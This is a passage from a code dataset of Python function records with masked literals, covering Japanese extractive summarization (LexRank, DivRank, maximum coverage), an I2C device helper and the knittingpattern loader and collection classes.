http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.174.7982", "id": "f489:m0"}
{"signature": "def divrank_scipy(G, alpha=<NUM_LIT>, d=<NUM_LIT>, personalization=None,<EOL>max_iter=<NUM_LIT:100>, tol=<NUM_LIT>, nstart=None, weight='<STR_LIT>',<EOL>dangling=None):", "body": "import scipy.sparse<EOL>N = len(G)<EOL>if N == <NUM_LIT:0>:<EOL><INDENT>return {}<EOL><DEDENT>nodelist = G.nodes()<EOL>M = nx.to_scipy_sparse_matrix(G, nodelist=nodelist, weight=weight,<EOL>dtype=float)<EOL>S = scipy.array(M.sum(axis=<NUM_LIT:1>)).flatten()<EOL>S[S != <NUM_LIT:0>] = <NUM_LIT:1.0> / S[S != <NUM_LIT:0>]<EOL>Q = scipy.sparse.spdiags(S.T, <NUM_LIT:0>, *M.shape, format='<STR_LIT>')<EOL>M = Q * M<EOL>M = scipy.sparse.lil_matrix(M)<EOL>M.setdiag(<NUM_LIT:0.0>)<EOL>M = alpha * M<EOL>M.setdiag(<NUM_LIT:1.0> - alpha)<EOL>x = scipy.repeat(<NUM_LIT:1.0> / N, N)<EOL>if personalization is None:<EOL><INDENT>p = scipy.repeat(<NUM_LIT:1.0> / N, N)<EOL><DEDENT>else:<EOL><INDENT>missing = set(nodelist) - set(personalization)<EOL>if missing:<EOL><INDENT>raise NetworkXError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % missing)<EOL><DEDENT>p = scipy.array([personalization[n] for n in nodelist],<EOL>dtype=float)<EOL>p = p / p.sum()<EOL><DEDENT>if dangling is None:<EOL><INDENT>dangling_weights = p<EOL><DEDENT>else:<EOL><INDENT>missing = set(nodelist) - set(dangling)<EOL>if missing:<EOL><INDENT>raise NetworkXError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % missing)<EOL><DEDENT>dangling_weights = scipy.array([dangling[n] for n in nodelist],<EOL>dtype=float)<EOL>dangling_weights /= dangling_weights.sum()<EOL><DEDENT>is_dangling = scipy.where(S == <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>for _ in range(max_iter):<EOL><INDENT>xlast = x<EOL>D_t =  M * x<EOL>x = (<EOL>d * (x / D_t * M * x + sum(x[is_dangling]) * dangling_weights)<EOL>+ (<NUM_LIT:1.0> - d) * p<EOL>)<EOL>err = scipy.absolute(x - xlast).sum()<EOL>if err < N * tol:<EOL><INDENT>return dict(list(zip(nodelist, list(map(float, x)))))<EOL><DEDENT><DEDENT>raise NetworkXError('<STR_LIT>'<EOL>'<STR_LIT>' % max_iter)<EOL>", "docstring": "Returns the DivRank (Diverse Rank) of the nodes in the graph.\nThis code is based on networkx.pagerank_scipy", "id": "f489:m1"}
{"signature": "def lexrank(sentences, continuous=False, sim_threshold=<NUM_LIT:0.1>, alpha=<NUM_LIT>,<EOL>use_divrank=False, divrank_alpha=<NUM_LIT>):", "body": "<EOL>ranker_params = {'<STR_LIT>': <NUM_LIT:1000>}<EOL>if use_divrank:<EOL><INDENT>ranker = divrank_scipy<EOL>ranker_params['<STR_LIT>'] = divrank_alpha<EOL>ranker_params['<STR_LIT:d>'] = alpha<EOL><DEDENT>else:<EOL><INDENT>ranker = networkx.pagerank_scipy<EOL>ranker_params['<STR_LIT>'] = alpha<EOL><DEDENT>graph = networkx.DiGraph()<EOL>sent_tf_list = []<EOL>for sent in sentences:<EOL><INDENT>words = tools.word_segmenter_ja(sent)<EOL>tf = collections.Counter(words)<EOL>sent_tf_list.append(tf)<EOL><DEDENT>sent_vectorizer = DictVectorizer(sparse=True)<EOL>sent_vecs = sent_vectorizer.fit_transform(sent_tf_list)<EOL>sim_mat = <NUM_LIT:1> - pairwise_distances(sent_vecs, sent_vecs, metric='<STR_LIT>')<EOL>if continuous:<EOL><INDENT>linked_rows, linked_cols = numpy.where(sim_mat > <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>linked_rows, linked_cols = numpy.where(sim_mat >= sim_threshold)<EOL><DEDENT>graph.add_nodes_from(list(range(sent_vecs.shape[<NUM_LIT:0>])))<EOL>for i, j in zip(linked_rows, linked_cols):<EOL><INDENT>if i == j:<EOL><INDENT>continue<EOL><DEDENT>weight = sim_mat[i,j] if continuous else <NUM_LIT:1.0><EOL>graph.add_edge(i, j, {'<STR_LIT>': weight})<EOL><DEDENT>scores = ranker(graph, **ranker_params)<EOL>return scores, sim_mat<EOL>", "docstring": "compute centrality score of sentences.\n\nArgs:\n  sentences: [u'\u3053\u3093\u306b\u3061\u306f\uff0e', u'\u79c1\u306e\u540d\u524d\u306f\u98ef\u6cbc\u3067\u3059\uff0e', ... ]\n  continuous: if True, apply continuous LexRank. (see reference)\n  sim_threshold: if continuous is False and smilarity is greater or\n    equal to sim_threshold, link the sentences.\n  alpha: the damping factor of PageRank and DivRank\n  divrank: if True, apply DivRank instead of PageRank\n  divrank_alpha: strength of self-link [0.0-1.0]\n    (it's not the damping factor, see divrank.py)\n\nReturns: tuple\n  (\n    {\n      # sentence index -> score\n      0: 0.003,\n      1: 0.002,\n      ...\n    },\n    similarity_matrix\n  )\n\nReference:\n  G\u00fcnes Erkan and Dragomir R. Radev.\n  LexRank: graph-based lexical centrality as salience in text\n  summarization. (section 3)\n  http://www.cs.cmu.edu/afs/cs/project/jair/pub/volume22/erkan04a-html/erkan04a.html", "id": "f492:m0"}
{"signature": "def summarize(text, sent_limit=None, char_limit=None, imp_require=None,<EOL>debug=False, **lexrank_params):", "body": "debug_info = {}<EOL>sentences = list(tools.sent_splitter_ja(text))<EOL>scores, sim_mat = lexrank(sentences, **lexrank_params)<EOL>sum_scores = sum(scores.values())<EOL>acc_scores = <NUM_LIT:0.0><EOL>indexes = set()<EOL>num_sent, num_char = <NUM_LIT:0>, <NUM_LIT:0><EOL>for i in sorted(scores, key=lambda i: scores[i], reverse=True):<EOL><INDENT>num_sent += <NUM_LIT:1><EOL>num_char += len(sentences[i])<EOL>if sent_limit is not None and num_sent > sent_limit:<EOL><INDENT>break<EOL><DEDENT>if char_limit is not None and num_char > char_limit:<EOL><INDENT>break<EOL><DEDENT>if imp_require is not None and acc_scores / sum_scores >= imp_require:<EOL><INDENT>break<EOL><DEDENT>indexes.add(i)<EOL>acc_scores += scores[i]<EOL><DEDENT>if len(indexes) > <NUM_LIT:0>:<EOL><INDENT>summary_sents = [sentences[i] for i in sorted(indexes)]<EOL><DEDENT>else:<EOL><INDENT>summary_sents = sentences<EOL><DEDENT>if debug:<EOL><INDENT>debug_info.update({<EOL>'<STR_LIT>': sentences, '<STR_LIT>': scores<EOL>})<EOL><DEDENT>return summary_sents, debug_info<EOL>", "docstring": "Args:\n  text: text to be summarized (unicode string)\n  sent_limit: summary length (the number of sentences)\n  char_limit: summary length (the number of characters)\n  imp_require: cumulative LexRank score [0.0-1.0]\n\nReturns:\n  list of extracted sentences", "id": "f492:m1"}
{"signature": "def get_summarizer(self, name):", "body": "if name in self.summarizers:<EOL><INDENT>pass<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>from . import lexrank<EOL>self.summarizers[name] = lexrank.summarize<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>from . import mcp_summ<EOL>self.summarizers[name] = mcp_summ.summarize<EOL><DEDENT>return self.summarizers[name]<EOL>", "docstring": "import summarizers on-demand", "id": "f493:c0:m1"}
{"signature": "@cherrypy.expose<EOL><INDENT>def summarize(self, text=None, algo='<STR_LIT>', **summarizer_params):<DEDENT>", "body": "try:  <EOL><INDENT>for param, value in list(summarizer_params.items()):<EOL><INDENT>if value == '<STR_LIT>':<EOL><INDENT>del summarizer_params[param]<EOL>continue<EOL><DEDENT>elif re.match(r'<STR_LIT>', value):<EOL><INDENT>value = float(value)<EOL><DEDENT>elif re.match(r'<STR_LIT>', value):<EOL><INDENT>value = int(value)<EOL><DEDENT>elif value == '<STR_LIT:true>':<EOL><INDENT>value = True<EOL><DEDENT>elif value == '<STR_LIT:false>':<EOL><INDENT>value = False<EOL><DEDENT>summarizer_params[param] = value<EOL><DEDENT>if algo in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>summarizer = self.get_summarizer('<STR_LIT>')<EOL>if algo == '<STR_LIT>':<EOL><INDENT>summarizer_params['<STR_LIT>'] = True<EOL><DEDENT>if algo == '<STR_LIT>':<EOL><INDENT>summarizer_params['<STR_LIT>'] = True<EOL><DEDENT><DEDENT>elif algo == '<STR_LIT>':<EOL><INDENT>summarizer = self.get_summarizer('<STR_LIT>')<EOL><DEDENT>summary, debug_info = summarizer(text, **summarizer_params)<EOL><DEDENT>except Exception as e:<EOL><INDENT>return json.dumps({'<STR_LIT:error>': str(e)}, ensure_ascii=False, indent=<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>res = json.dumps(<EOL>tools.tree_encode({<EOL>'<STR_LIT>': summary, '<STR_LIT>': debug_info<EOL>}),<EOL>ensure_ascii=False, indent=<NUM_LIT:2><EOL>)<EOL>return res<EOL><DEDENT>", "docstring": "Args:\n  text: text to be summarized\n  algo: summarizaion algorithm\n      - 'lexrank' (default) graph-based\n      - 'clexrank' Continuous LexRank\n      - 'divrank' DivRank (Diverse Rank)\n      - 'mcp' select sentences in terms of maximum coverage problem\n\n  summarizer_params examples:\n    char_limit: summary length (the number of characters)\n    sent_limit: (not supported with mcp)\n      summary length (the number of sentences)\n    imp_require: (lexrank only)\n      cumulative LexRank score [0.0-1.0]", "id": "f493:c0:m2"}
{"signature": "def sent_splitter_ja(text, delimiters=set(u'<STR_LIT>'),<EOL>parenthesis=u'<STR_LIT>'):", "body": "paren_chars = set(parenthesis)<EOL>close2open = dict(zip(parenthesis[<NUM_LIT:1>::<NUM_LIT:2>], parenthesis[<NUM_LIT:0>::<NUM_LIT:2>]))<EOL>pstack = []<EOL>buff = []<EOL>for i, c in enumerate(text):<EOL><INDENT>c_next = text[i+<NUM_LIT:1>] if i+<NUM_LIT:1> < len(text) else None<EOL>if c in paren_chars:<EOL><INDENT>if c in close2open:  <EOL><INDENT>if len(pstack) > <NUM_LIT:0> and pstack[-<NUM_LIT:1>] == close2open[c]:<EOL><INDENT>pstack.pop()<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>pstack.append(c)<EOL><DEDENT><DEDENT>buff.append(c)<EOL>if c in delimiters:<EOL><INDENT>if len(pstack) == <NUM_LIT:0> and c_next not in delimiters:<EOL><INDENT>yield '<STR_LIT>'.join(buff)<EOL>buff = []<EOL><DEDENT><DEDENT><DEDENT>if len(buff) > <NUM_LIT:0>:<EOL><INDENT>yield '<STR_LIT>'.join(buff)<EOL><DEDENT>", "docstring": "Args:\n  text: unicode string that contains multiple Japanese sentences.\n  delimiters: set() of sentence delimiter characters.\n  parenthesis: to be checked its correspondence.\nReturns:\n  generator that yields sentences.", "id": "f494:m1"}
{"signature": "def summarize(text, char_limit, sentence_filter=None, debug=False):", "body": "debug_info = {}<EOL>sents = list(tools.sent_splitter_ja(text))<EOL>words_list = [<EOL>w.encode('<STR_LIT:utf-8>') for s in sents for w in tools.word_segmenter_ja(s)<EOL>]<EOL>tf = collections.Counter()<EOL>for words in words_list:<EOL><INDENT>for w in words:<EOL><INDENT>tf[w] += <NUM_LIT:1.0><EOL><DEDENT><DEDENT>if sentence_filter is not None:<EOL><INDENT>valid_indices = [i for i, s in enumerate(sents) if sentence_filter(s)]<EOL>sents = [sents[i] for i in valid_indices]<EOL>words_list = [words_list[i] for i in valid_indices]<EOL><DEDENT>sent_ids = [str(i) for i in range(len(sents))]  <EOL>sent_id2len = dict((id_, len(s)) for id_, s in zip(sent_ids, sents))  <EOL>word_contain = dict()  <EOL>for id_, words in zip(sent_ids, words_list):<EOL><INDENT>word_contain[id_] = collections.defaultdict(lambda: <NUM_LIT:0>)<EOL>for w in words:<EOL><INDENT>word_contain[id_][w] = <NUM_LIT:1><EOL><DEDENT><DEDENT>prob = pulp.LpProblem('<STR_LIT>', pulp.LpMaximize)<EOL>sent_vars = pulp.LpVariable.dicts('<STR_LIT>', sent_ids, <NUM_LIT:0>, <NUM_LIT:1>, pulp.LpBinary)<EOL>word_vars = pulp.LpVariable.dicts('<STR_LIT>', list(tf.keys()), <NUM_LIT:0>, <NUM_LIT:1>, pulp.LpBinary)<EOL>prob += pulp.lpSum([tf[w] * word_vars[w] for w in tf])<EOL>prob += pulp.lpSum(<EOL>[sent_id2len[id_] * sent_vars[id_] for id_ in sent_ids]<EOL>) <= char_limit, '<STR_LIT>'<EOL>for w in tf:<EOL><INDENT>prob += pulp.lpSum(<EOL>[word_contain[id_][w] * sent_vars[id_] for id_ in sent_ids]<EOL>) >= word_vars[w], '<STR_LIT>'.format(w)<EOL><DEDENT>prob.solve()<EOL>sent_indices = []<EOL>for v in prob.variables():<EOL><INDENT>if v.name.startswith('<STR_LIT>') and v.varValue == <NUM_LIT:1>:<EOL><INDENT>sent_indices.append(int(v.name.split('<STR_LIT:_>')[-<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>return [sents[i] for i in sent_indices], debug_info<EOL>", "docstring": "select sentences in terms of maximum coverage problem\n\nArgs:\n  text: text to be summarized (unicode string)\n  char_limit: summary length (the number of characters)\n\nReturns:\n  list of extracted sentences\n\nReference:\n  Hiroya Takamura, Manabu Okumura.\n  Text summarization model based on maximum coverage problem and its\n  variant. (section 3)\n  http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.222.6945", "id": "f495:m0"}
{"signature": "def __init__(self, i2c, device_address, *, debug=False):", "body": "while not i2c.try_lock():<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>i2c.writeto(device_address, b'<STR_LIT>')<EOL><DEDENT>except OSError:<EOL><INDENT>try:<EOL><INDENT>result = bytearray(<NUM_LIT:1>)<EOL>i2c.readfrom_into(device_address, result)<EOL><DEDENT>except OSError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % device_address)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>i2c.unlock()<EOL><DEDENT>self.i2c = i2c<EOL>self.device_address = device_address<EOL>self._debug = debug<EOL>", "docstring": "Try to read a byte from an address,\nif you get an OSError it means the device is not there", "id": "f501:c0:m0"}
{"signature": "def readinto(self, buf, **kwargs):", "body": "self.i2c.readfrom_into(self.device_address, buf, **kwargs)<EOL>if self._debug:<EOL><INDENT>print(\"<STR_LIT>\", [hex(i) for i in buf])<EOL><DEDENT>", "docstring": "Read into ``buf`` from the device. The number of bytes read will be the\nlength of ``buf``.\n\nIf ``start`` or ``end`` is provided, then the buffer will be sliced\nas if ``buf[start:end]``. This will not cause an allocation like\n``buf[start:end]`` will so it saves memory.\n\n:param bytearray buffer: buffer to write into\n:param int start: Index to start writing at\n:param int end: Index to write up to but not include", "id": "f501:c0:m1"}
{"signature": "def write(self, buf, **kwargs):", "body": "self.i2c.writeto(self.device_address, buf, **kwargs)<EOL>if self._debug:<EOL><INDENT>print(\"<STR_LIT>\", [hex(i) for i in buf])<EOL><DEDENT>", "docstring": "Write the bytes from ``buffer`` to the device. Transmits a stop bit if\n``stop`` is set.\n\nIf ``start`` or ``end`` is provided, then the buffer will be sliced\nas if ``buffer[start:end]``. This will not cause an allocation like\n``buffer[start:end]`` will so it saves memory.\n\n:param bytearray buffer: buffer containing the bytes to write\n:param int start: Index to start writing from\n:param int end: Index to read up to but not include\n:param bool stop: If true, output an I2C stop condition after the buffer is written", "id": "f501:c0:m2"}
{"signature": "def write_then_readinto(self, out_buffer, in_buffer, *,<EOL>out_start=<NUM_LIT:0>, out_end=None, in_start=<NUM_LIT:0>, in_end=None, stop=True):", "body": "if out_end is None:<EOL><INDENT>out_end = len(out_buffer)<EOL><DEDENT>if in_end is None:<EOL><INDENT>in_end = len(in_buffer)<EOL><DEDENT>if hasattr(self.i2c, '<STR_LIT>'):<EOL><INDENT>if self._debug:<EOL><INDENT>print(\"<STR_LIT>\",<EOL>[hex(i) for i in out_buffer[out_start:out_end]])<EOL><DEDENT>self.i2c.writeto_then_readfrom(self.device_address, out_buffer, in_buffer,<EOL>out_start=out_start, out_end=out_end,<EOL>in_start=in_start, in_end=in_end, stop=stop)<EOL>if self._debug:<EOL><INDENT>print(\"<STR_LIT>\",<EOL>[hex(i) for i in in_buffer[in_start:in_end]])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.write(out_buffer, start=out_start, end=out_end, stop=stop)<EOL>if self._debug:<EOL><INDENT>print(\"<STR_LIT>\",<EOL>[hex(i) for i in out_buffer[out_start:out_end]])<EOL><DEDENT>self.readinto(in_buffer, start=in_start, end=in_end)<EOL>if self._debug:<EOL><INDENT>print(\"<STR_LIT>\",<EOL>[hex(i) for i in in_buffer[in_start:in_end]])<EOL><DEDENT><DEDENT>", "docstring": "Write the bytes from ``out_buffer`` to the device, then immediately\nreads into ``in_buffer`` from the device. The number of bytes read\nwill be the length of ``in_buffer``.\nTransmits a stop bit after the write, if ``stop`` is set.\n\nIf ``out_start`` or ``out_end`` is provided, then the output buffer\nwill be sliced as if ``out_buffer[out_start:out_end]``. This will\nnot cause an allocation like ``buffer[out_start:out_end]`` will so\nit saves memory.\n\nIf ``in_start`` or ``in_end`` is provided, then the input buffer\nwill be sliced as if ``in_buffer[in_start:in_end]``. This will not\ncause an allocation like ``in_buffer[in_start:in_end]`` will so\nit saves memory.\n\n:param bytearray out_buffer: buffer containing the bytes to write\n:param bytearray in_buffer: buffer containing the bytes to read into\n:param int out_start: Index to start writing from\n:param int out_end: Index to read up to but not include\n:param int in_start: Index to start writing at\n:param int in_end: Index to write up to but not include\n:param bool stop: If true, output an I2C stop condition after the buffer is written", "id": "f501:c0:m3"}
{"signature": "def walk(knitting_pattern):", "body": "rows_before = {}  <EOL>free_rows = []<EOL>walk = []<EOL>for row in knitting_pattern.rows:<EOL><INDENT>rows_before_ = row.rows_before[:]<EOL>if rows_before_:<EOL><INDENT>rows_before[row] = rows_before_<EOL><DEDENT>else:<EOL><INDENT>free_rows.append(row)<EOL><DEDENT><DEDENT>assert free_rows<EOL>while free_rows:<EOL><INDENT>row = free_rows.pop(<NUM_LIT:0>)<EOL>walk.append(row)<EOL>assert row not in rows_before<EOL>for freed_row in reversed(row.rows_after):<EOL><INDENT>todo = rows_before[freed_row]<EOL>todo.remove(row)<EOL>if not todo:<EOL><INDENT>del rows_before[freed_row]<EOL>free_rows.insert(<NUM_LIT:0>, freed_row)<EOL><DEDENT><DEDENT><DEDENT>assert not rows_before, \"<STR_LIT>\"<EOL>return walk<EOL>", "docstring": "Walk the knitting pattern in a right-to-left fashion.\n\n    :return: an iterable to walk the rows\n    :rtype: list\n    :param knittingpattern.KnittingPattern.KnittingPattern knitting_pattern: a\n      knitting pattern to take the rows from", "id": "f505:m0"}
{"signature": "def __init__(self):", "body": "self._items = OrderedDict()<EOL>", "docstring": "Create a new :class:`IdCollection` with no arguments.\n\n        You can add objects later using the method :meth:`append`.", "id": "f506:c0:m0"}
{"signature": "def append(self, item):", "body": "self._items[item.id] = item<EOL>", "docstring": "Add an object to the end of the :class:`IdCollection`.\n\n        :param item: an object that has an id", "id": "f506:c0:m1"}
{"signature": "def at(self, index):", "body": "keys = list(self._items.keys())<EOL>key = keys[index]<EOL>return self[key]<EOL>", "docstring": "Get the object at an :paramref:`index`.\n\n        :param int index: the index of the object\n        :return: the object at :paramref:`index`", "id": "f506:c0:m2"}
{"signature": "def __getitem__(self, id_):", "body": "return self._items[id_]<EOL>", "docstring": "Get the object with the :paramref:`id`\n\n        .. code:: python\n\n            ic = IdCollection()\n            ic.append(object_1)\n            ic.append(object_2)\n            assert ic[object_1.id] == object_1\n            assert ic[object_2.id] == object_1\n\n        :param id_: the id of an object\n        :return: the object with the :paramref:`id`\n        :raises KeyError: if no object with :paramref:`id` was found", "id": "f506:c0:m3"}
{"signature": "def __bool__(self):", "body": "return bool(self._items)<EOL>", "docstring": ":return: whether there is anything in the collection.\n        :rtype: bool", "id": "f506:c0:m4"}
{"signature": "def __iter__(self):", "body": "for id_ in self._items:<EOL><INDENT>yield self[id_]<EOL><DEDENT>", "docstring": "allows you to iterate and use for-loops\n\n        The objects in the iterator have the order in which they were appended.", "id": "f506:c0:m5"}
{"signature": "def __len__(self):", "body": "return len(self._items)<EOL>", "docstring": ":return: the number of objects in this collection", "id": "f506:c0:m6"}
{"signature": "@property<EOL><INDENT>def first(self):<DEDENT>", "body": "return self.at(<NUM_LIT:0>)<EOL>", "docstring": "The first element in this collection.\n\n        :return: the first element in this collection\n        :raises IndexError: if this collection is empty", "id": "f506:c0:m7"}
{"signature": "def identity(object_):", "body": "return object_<EOL>", "docstring": ":return: the argument\n    :param object_: the object to be returned", "id": "f507:m0"}
{"signature": "def true(_):", "body": "return True<EOL>", "docstring": ":return: :obj:`True`\n    :param _: can be ignored", "id": "f507:m1"}
{"signature": "def __init__(self, process=identity, chooses_path=true):", "body": "self._process = process<EOL>self._chooses_path = chooses_path<EOL>", "docstring": "Create a PathLoader object.\n\n        :param process: ``process(path)`` is called with the `path` to load.\n          The result of :paramref:`process` is returned to the caller. The\n          default value is :func:`identity`, so the paths are returned when\n          loaded.\n        :param chooses_path: ``chooses_path(path)`` is called before\n          :paramref:`process` and returns :obj:`True` or :obj:`False`\n          depending on whether a specific path should be loaded and passed to\n          :paramref:`process`.", "id": "f507:c0:m0"}
{"signature": "def folder(self, folder):", "body": "result = []<EOL>for root, _, files in os.walk(folder):<EOL><INDENT>for file in files:<EOL><INDENT>path = os.path.join(root, file)<EOL>if self._chooses_path(path):<EOL><INDENT>result.append(self.path(path))<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Load all files from a folder recursively.\n\n        Depending on :meth:`chooses_path` some paths may not be loaded.\n        Every loaded path is processed and returned part of the returned list.\n\n        :param str folder: the folder to load the files from\n        :rtype: list\n        :return: a list of the results of the processing steps of the loaded\n          files", "id": "f507:c0:m1"}
{"signature": "def chooses_path(self, path):", "body": "return self._chooses_path(path)<EOL>", "docstring": ":return: whether the path should be loaded\n        :rtype: bool\n\n        :param str path: the path to the file to be tested", "id": "f507:c0:m2"}
{"signature": "def path(self, path):", "body": "return self._process(path)<EOL>", "docstring": "load a :paramref:`path` and return the processed result\n\n        :param str path: the path to the file to be processed\n        :return: the result of processing step", "id": "f507:c0:m3"}
{"signature": "def _relative_to_absolute(self, module_location, folder):", "body": "if os.path.isfile(module_location):<EOL><INDENT>path = os.path.dirname(module_location)<EOL><DEDENT>elif os.path.isdir(module_location):<EOL><INDENT>path = module_location<EOL><DEDENT>else:<EOL><INDENT>module_folder = os.path.dirname(module_location)<EOL>if module_folder:<EOL><INDENT>path = module_folder<EOL><DEDENT>else:<EOL><INDENT>__import__(module_location)<EOL>module = sys.modules[module_location]<EOL>path = os.path.dirname(module.__file__)<EOL><DEDENT><DEDENT>absolute_path = os.path.join(path, folder)<EOL>return absolute_path<EOL>", "docstring": ":return: the absolute path for the `folder` relative to\n        the module_location.\n        :rtype: str", "id": "f507:c0:m4"}
{"signature": "def relative_folder(self, module, folder):", "body": "folder = self._relative_to_absolute(module, folder)<EOL>return self.folder(folder)<EOL>", "docstring": "Load a folder located relative to a module and return the processed\n        result.\n\n        :param str module: can be\n\n          - a path to a folder\n          - a path to a file\n          - a module name\n\n        :param str folder: the path of a folder relative to :paramref:`module`\n        :return: a list of the results of the processing\n        :rtype: list\n\n        Depending on :meth:`chooses_path` some paths may not be loaded.\n        Every loaded path is processed and returned part of the returned list.\n        You can use :meth:`choose_paths` to find out which paths are chosen to\n        load.", "id": "f507:c0:m5"}
{"signature": "def relative_file(self, module, file):", "body": "path = self._relative_to_absolute(module, file)<EOL>return self.path(path)<EOL>", "docstring": "Load a file relative to a module.\n\n        :param str module: can be\n\n          - a path to a folder\n          - a path to a file\n          - a module name\n\n        :param str folder: the path of a folder relative to :paramref:`module`\n        :return: the result of the processing", "id": "f507:c0:m6"}
{"signature": "def choose_paths(self, paths):", "body": "return [path for path in paths if self._chooses_path(path)]<EOL>", "docstring": ":return: the paths that are chosen by :meth:`chooses_path`\n        :rtype: list", "id": "f507:c0:m7"}
{"signature": "def example(self, relative_path):", "body": "example_path = os.path.join(\"<STR_LIT>\", relative_path)<EOL>return self.relative_file(__file__, example_path)<EOL>", "docstring": "Load an example from the knitting pattern examples.\n\n        :param str relative_path: the path to load\n        :return: the result of the processing\n\n        You can use :meth:`knittingpattern.Loader.PathLoader.examples`\n        to find out the paths of all examples.", "id": "f507:c0:m8"}
{"signature": "def examples(self):", "body": "return self.relative_folder(__file__, \"<STR_LIT>\")<EOL>", "docstring": "Load all examples form the examples folder of this packge.\n\n        :return: a list of processed examples\n        :rtype: list\n\n        Depending on :meth:`chooses_path` some paths may not be loaded.\n        Every loaded path is processed and returned part of the returned list.", "id": "f507:c0:m9"}
{"signature": "def string(self, string):", "body": "return self._process(string)<EOL>", "docstring": ":return: the processed result of a string\n        :param str string: the string to load the ocntent from", "id": "f507:c1:m0"}
{"signature": "def file(self, file):", "body": "string = file.read()<EOL>return self.string(string)<EOL>", "docstring": ":return: the processed result of the content of a file-like object.\n\n        :param file: the file-like object to load the content from.\n          It should support the ``read`` method.", "id": "f507:c1:m1"}
{"signature": "def path(self, path):", "body": "with open(path) as file:<EOL><INDENT>return self.file(file)<EOL><DEDENT>", "docstring": ":return: the processed result of a :paramref:`path's <path>` content.\n        :param str path: the path where to load the content from.\n          It should exist on the local file system.", "id": "f507:c1:m2"}
{"signature": "def url(self, url, encoding=\"<STR_LIT>\"):", "body": "import urllib.request<EOL>with urllib.request.urlopen(url) as file:<EOL><INDENT>webpage_content = file.read()<EOL><DEDENT>webpage_content = webpage_content.decode(encoding)<EOL>return self.string(webpage_content)<EOL>", "docstring": "load and process the content behind a url\n\n        :return: the processed result of the :paramref:`url's <url>` content\n        :param str url: the url to retrieve the content from\n        :param str encoding: the encoding of the retrieved content.\n          The default encoding is UTF-8.", "id": "f507:c1:m3"}
{"signature": "def object(self, object_):", "body": "return self._process(object_)<EOL>", "docstring": "Processes an already loaded object.\n\n        :return: the result of the processing step\n        :param object: the object to be loaded", "id": "f507:c2:m0"}
{"signature": "def string(self, string):", "body": "object_ = json.loads(string)<EOL>return self.object(object_)<EOL>", "docstring": "Load an object from a string and return the processed JSON content\n\n        :return: the result of the processing step\n        :param str string: the string to load the JSON from", "id": "f507:c2:m1"}
{"signature": "def __init__(self, id_, name, rows, parser):", "body": "self._id = id_<EOL>self._name = name<EOL>self._rows = rows<EOL>self._parser = parser<EOL>", "docstring": "Create a new instance.\n\n        :param id_: the id of this pattern\n        :param name: the human readable name of this pattern\n        :param rows: a collection of rows of instructions\n        :param knittingpattern.Parser.Parser parser: the parser to use to new\n          content\n\n        .. seealso:: :func:`knittingpattern.new_knitting_pattern`", "id": "f508:c0:m0"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "return self._id<EOL>", "docstring": "the identifier within a :class:`set of knitting patterns\n        <knittingpattern.KnittingPatternSet.KnittingPatternSet>`", "id": "f508:c0:m1"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._name<EOL>", "docstring": "a human readable name", "id": "f508:c0:m2"}
{"signature": "@property<EOL><INDENT>def rows(self):<DEDENT>", "body": "return self._rows<EOL>", "docstring": "a collection of rows that this pattern is made of\n\n        Usually this should be a\n        :class:`knittingpattern.IdCollection.IdCollection` of\n        :class:`knittingpattern.Row.Row`.", "id": "f508:c0:m3"}
{"signature": "def add_row(self, id_):", "body": "row = self._parser.new_row(id_)<EOL>self._rows.append(row)<EOL>return row<EOL>", "docstring": "Add a new row to the pattern.\n\n        :param id_: the id of the row", "id": "f508:c0:m4"}
{"signature": "def rows_in_knit_order(self):", "body": "return walk(self)<EOL>", "docstring": "Return the rows in the order that they should be knit.\n\n        :rtype: list\n        :return: the :attr:`rows` in the order that they should be knit\n\n        .. seealso:: :mod:`knittingpattern.walk`", "id": "f508:c0:m5"}
{"signature": "@property<EOL><INDENT>def instruction_colors(self):<DEDENT>", "body": "return unique([row.instruction_colors<EOL>for row in self.rows_in_knit_order()])<EOL>", "docstring": "The colors of the instructions.\n\n        :return: the colors of the instructions listed in first appearance in\n          knit order\n        :rtype: list", "id": "f508:c0:m6"}
{"signature": "def default_instructions():", "body": "global _default_instructions<EOL>if _default_instructions is None:<EOL><INDENT>_default_instructions = DefaultInstructions()<EOL><DEDENT>return _default_instructions<EOL>", "docstring": ":return: a default instruction library\n    :rtype: DefaultInstructions\n\n    .. warning:: The return value is mutable and you should not add new\n      instructions to it. If you would like to add instructions to it,\n      create a new\n      :class:`~knittingpattern.InstructionLibrary.DefaultInstructions`\n      instance.", "id": "f509:m0"}
{"signature": "@property<EOL><INDENT>def _loader_class(self):<DEDENT>", "body": "return JSONLoader<EOL>", "docstring": ":return: the class for loading the specifications with\n          :attr:`load`", "id": "f509:c0:m0"}
{"signature": "@property<EOL><INDENT>def _instruction_class(self):<DEDENT>", "body": "return Instruction<EOL>", "docstring": ":return: the class for the specifications", "id": "f509:c0:m1"}
{"signature": "def __init__(self):", "body": "self._type_to_instruction = {}<EOL>", "docstring": "Create a new :class:`InstructionLibrary\n        <knittingpattern.InstructionLibrary.InstructionLibrary>` without\n        arguments.\n\n        Use :attr:`load` to load specifications.", "id": "f509:c0:m2"}
